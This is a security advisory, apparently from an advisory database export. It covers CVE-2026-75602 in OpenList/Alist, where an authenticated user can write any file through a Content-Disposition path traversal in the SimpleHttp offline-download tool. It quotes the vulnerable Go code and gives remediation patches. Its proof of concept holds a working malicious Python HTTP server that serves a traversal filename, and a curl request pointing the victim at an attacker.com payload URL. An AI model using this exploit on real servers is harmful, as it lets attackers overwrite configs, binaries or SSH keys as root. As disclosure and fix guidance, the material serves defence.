github.com/OpenListTeam/OpenList
Affected
- introduced
0, fixed4.2.3(semver)
Fixed versions
4.2.3
Fix
- Fixed version
4.2.3go get github.com/OpenListTeam/[email protected]
Advisory
Also known as: CVE-2026-75602, GO-2026-6368
OpenList: Authenticated arbitrary file write via Content-Disposition path traversal in SimpleHttp offline-download tool
Summary
Alist's offline-download feature (POST /api/fs/add_offline_download with tool: "SimpleHttp") accepts an attacker-supplied URL, fetches it, and saves the bytes under a per-task temp directory before transferring to the user's destination storage. The temp filename is taken from the response's Content-Disposition header (attacker-controlled when the URL points to an attacker HTTP server), passed verbatim to filepath.Join(tempDir, filename), and written via os.Create with no containment check. Go's filepath.Join calls Clean on the result, which collapses .. segments and lets the attacker traverse out of tempDir to write any file the alist process can write.
A non-admin user with PermAddOfflineDownload permission on any path is sufficient.
Affected code
internal/offline_download/http/util.go — filename returned verbatim from header:
func parseFilenameFromContentDisposition(contentDisposition string) (string, error) {
if contentDisposition == "" {
return "", fmt.Errorf("Content-Disposition is empty")
}
_, params, err := mime.ParseMediaType(contentDisposition)
if err != nil {
return "", err
}
filename := params["filename"]
if filename == "" {
return "", fmt.Errorf("filename not found in Content-Disposition: [%s]", contentDisposition)
}
return filename, nil // ← no traversal stripping
}
internal/offline_download/http/client.go (SimpleHttp.Run):
filename := path.Base(urlPath) // safe
if n, err := parseFilenameFromContentDisposition(resp.Header.Get("Content-Disposition")); err == nil {
filename = n // UNSAFE — no sanitization
}
_ = os.MkdirAll(task.TempDir, os.ModePerm)
filePath := filepath.Join(task.TempDir, filename) // filepath.Join calls Clean; "../" escapes tempDir
file, err := os.Create(filePath) // arbitrary file create+truncate
_, _ = utils.CopyWithCtx(task.Ctx(), file, resp.Body, fileSize, task.SetProgress)
server/handles/offline_download.go (AddOfflineDownload) is mounted under normal user auth (not AuthAdmin). The only permission check is common.HasPermission(perm, common.PermAddOfflineDownload).
Note: tryPutUrl in internal/offline_download/tool/add.go is a partial bypass for cloud-storage destinations whose driver implements PutURL (e.g., 115 Cloud, PikPak, Thunder). For the local-storage driver — the most common target — tryPutUrl returns errs.NotImplement and execution falls through to the vulnerable SimpleHttp.Run path.
PoC
PermAddOfflineDownload on some path it can write to (e.g. /somefolder).from http.server import BaseHTTPRequestHandler, HTTPServer
PAYLOAD = b"any_attacker_controlled_bytes\n"
TRAVERSAL = "../../config.json" # destination path under /opt/alist/data/
class H(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Disposition", f'attachment; filename="{TRAVERSAL}"')
self.send_header("Content-Length", str(len(PAYLOAD)))
self.end_headers()
self.wfile.write(PAYLOAD)
HTTPServer(("0.0.0.0", 80), H).serve_forever()
curl -X POST 'http://victim-alist.example/api/fs/add_offline_download' \
-H 'Authorization: <session-token>' \
-H 'Content-Type: application/json' \
-d '{"urls":["http://attacker.com/payload"],"tool":"SimpleHttp","path":"/somefolder","delete_policy":"delete_never"}'
tempDir = /opt/alist/data/temp/SimpleHttp/<uuid>. filename = "../../config.json". filePath = filepath.Join(tempDir, filename) cleans to /opt/alist/data/config.json. os.Create truncates the existing config; the response body is streamed in.Impact
The minimal, deployment-agnostic guarantee is: the attacker can cause the application to create or overwrite files whose parent directory exists, with content of their choice, as the alist process (PUID=0 in default Docker). Because the vulnerable code ultimately calls os.Create on the attacker-controlled resolved path, existing files may be truncated and replaced when the target already exists. Concrete impact paths include:
/opt/alist/alist (Linux permits overwriting an executing binary on most filesystems) — next start runs attacker's binary./root/.ssh and that directory exists.Caveat: the parent directory of the target must already exist; os.Create does not mkdir -p intermediate components. This still leaves many high-impact targets reachable on default deployments.
Adversarial review notes
filepath.Join *does* collapse .. (Go semantics confirmed via stdlib).mime.ParseMediaType does not strip path separators or .. from filename or RFC 5987 filename*.os.Create, which truncates existing files and therefore permits overwrite in addition to creation when the target path already exists.SimpleHttp is registered by default (internal/offline_download/all.go).AuthAdmin-gated.PermAddOfflineDownload.Remediation
Minimal patch in internal/offline_download/http/util.go:
filename = filepath.Base(filename)
if filename == "" || filename == "." || filename == ".." || !filepath.IsLocal(filename) {
return "", fmt.Errorf("invalid filename in Content-Disposition: [%s]", contentDisposition)
}
return filename, nil
Defense-in-depth in internal/offline_download/http/client.go after computing filePath:
cleanTempDir := filepath.Clean(task.TempDir) + string(filepath.Separator)
if !strings.HasPrefix(filepath.Clean(filePath)+string(filepath.Separator), cleanTempDir) {
return fmt.Errorf("filename escapes temp dir")
}
Additionally, file creation should reject existing targets (or use an equivalent exclusive-create mechanism) to prevent accidental or attacker-controlled overwrites when a chosen filename resolves to an existing file.
if _, err := os.Stat(filePath); err == nil {
return fmt.Errorf("file already exists")
}
The same Content-Disposition / URL-derived filename trust pattern should be reviewed in the other offline-download tools under internal/offline_download/{aria2,qbit,transmission,115,pikpak,thunder}/ for consistency.
Inherited from upstream
Medium Basis: The source's own band: MODERATE
0, fixed 4.2.3 (semver)4.2.3
4.2.3go get github.com/OpenListTeam/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0